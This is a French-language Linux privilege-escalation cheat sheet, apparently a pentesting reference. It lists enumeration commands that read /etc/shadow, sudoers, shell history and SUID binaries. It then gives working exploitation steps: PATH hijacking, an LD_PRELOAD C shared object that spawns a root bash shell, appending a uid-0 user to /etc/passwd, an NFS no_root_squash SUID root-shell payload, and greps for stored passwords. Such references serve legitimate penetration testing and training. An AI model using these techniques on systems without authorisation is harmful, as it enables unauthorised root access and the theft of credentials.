Escalade de privilèges On this page Énumération# Utilisateurs & Fichiers sensibles# Liste des utilisateurs# id # Utilisateur actuels et ses groupes d'appartenance
who || w # Informations sur l'utilisateur actuel
last # Historique des connexions & déconnexions des utilisateurs
cat /etc/passwd | cut -d: -f1 # Liste des utilisateurs
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # Liste des super users
awk -F: '($3 == "0") {print}' /etc/passwd # Liste des super users
cat /etc/sudoers
sudo -l
Fichiers sensibles# cat /etc/passwd && cat /etc/group && cat /etc/shadow
ls -alh /var/mail/ # E-mails
ls -ahlR /root/ # Dossier Root
ls -ahlR /home/ # Dossiers utilisateurs
find / -writable -type d 2>/dev/null
Fichiers à permissions (SUID/SGID/Capabilities)# find / -perm -u= s -type f 2>/dev/null # SUID
find / -perm -g= s -type f 2>/dev/null # SGID
find / -type f -perm -04000 -ls 2>/dev/null # SUID & SGID
getcap -r / 2> /dev/null # Capabilities
Historiques de l’utilisateur# history # Historique des commandes tapées
cat ~/.*_history # Affiche le contenu des fichiers d'historiques
Mount Points# showmount -e 127.0.0.1 # Affiche les montages NFS
mount # Affiche tous les points de montage
cat /etc/fstab
/bin/lsblk # Affiche tous les disques disponibles
Système d’Exploitation# Quelle est la distribution ?# cat /etc/issue && cat /etc/*-release
Quelle version du kernel ?# cat /proc/version || uname -a || uname -mrs
rpm -q kernel # Sur de la distro Red Hat
dmesg | grep Linux # Messages du Noyau
ls /boot | grep vmlinuz
Quelles variables d’environnement ?# cat /etc/profile && cat /etc/bashrc
cat ~/.bash_profile && cat ~/.bashrc && cat ~/.bash_logout
env
set
hostname # Nom de la machine
Drivers# lsmod # Liste les modules du kernel
/sbin/modinfo <MODULE> # Avoir des infos sur un module
Applications & Services# Services en cours# ps aux | grep root
top # Affiche en temps réel les processus en cours
cat /etc/services
Applications installées# ls -alh /usr/bin/ && ls -alh /sbin/
dpkg -l # Toutes les applications + versions sous Debian
rpm -qa # Toutes les applications + versions sous Red Hat
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/ # Pour CentOS
Services mal configurés# cat /etc/syslog.conf # Syslog = journalisation des messages du système
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
Tâches programmées# crontab -l # Tâches programmées pour l'utilisateur actuel
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/crontab # Cron = Fonctionnement continu
cat /etc/anacrontab # Anacron = fonctionnement discontinu (anachronique)
cat /etc/at.allow && cat /etc/at.deny
cat /etc/cron.allow && cat /etc/cron.deny
cat /var/spool/cron/crontabs/root
grep "CRON" /var/log/cron.log
Communications & Réseaux# Interfaces# ifconfig -a || ip a
route || route -l
cat /etc/network/interfaces
cat /etc/sysconfig/network # Red Hat
Est-ce qu’on peut trouver des informations sur le serveur DNS, DHCP, la passerelle ?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
Communications en cours# lsof -i
grep 80 /etc/services
netstat -antup || netstat -antpx || netstat -tulpn
ss -tulnp
chkconfig --list # Sous Red Hat
last
w
arp -e
route || ip route
/sbin/route -nee
Pare-feu & Règles# grep -Hs iptables /etc/* # Récupère des fichiers en lien avec iptables
cat /etc/iptables-backup
Exploitation# Exploitation de la variable $PATH
# Chercher un binaire avec SUID actif et qui appelle une fonction du système Chercher un dossier avec droits d’écriture : find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
Créer une copie du binaire avec le code souhaité et exporter le chemin dans la variable PATH : export PATH={PATH}:$PATH
Divers Tricks# Si Apache2 est présent : apache2 -f /etc/shadow
Si la variable d’environnement LD_PRELOAD est activée
Checker avec sudo -l
si on a bien env_keep+=LD_PRELOAD
Créer un programme en C en .c
(code ci-dessous ) Compiler ce code en mode partagé : gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles
Lancer un binaire dont on a les droits SUDO avec le programme compilé : sudo LD_PRELOAD=/path/exploit.so <BINARY>
Instructions détaillées :
Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs
Code C à compiler :
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init () {
unsetenv ( "LD_PRELOAD" );
setgid ( 0 );
setuid ( 0 );
system ( "/bin/bash" );
}
Ajouter un utilisateur root
Possible dans la mesure où on a les droit d’écriture sur /etc/passwd
- Créer le mot de passe : `openssl passwd -1 --salt {SALT} {PASSWORD}`
- Créer une ligne : `{USER}:{PASSWORD}:0:0:root:/root:/bin/bash`
- L’insérer avec un `echo "{LIGNE}" >> /etc/passwd`
NFS Exploitation
Regarder le fichier /etc/exports
et vérifier si un des partages a l’option no_root_squash
(Remotely ) Checker les répertoires de partage disponibles : showmount -e {IP}
(Remotely) Monter un partage : mount -o rw {IP}:/{SHARE_PATH} {LOCAL_PATH}
Créer un exécutable en tant que root, et en lui ajoutant le SUID : chmod +s {PAYLOAD}
Récupérer l’exécutable sur la machine victime et l’exécuter int main (){
setgid ( 0 );
setuid ( 0 );
system ( "/bin/bash" );
return 0 ;
}
grep -i user [ filename]
grep -i pass [ filename]
grep -C 5 "password" [ filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password " # Joomla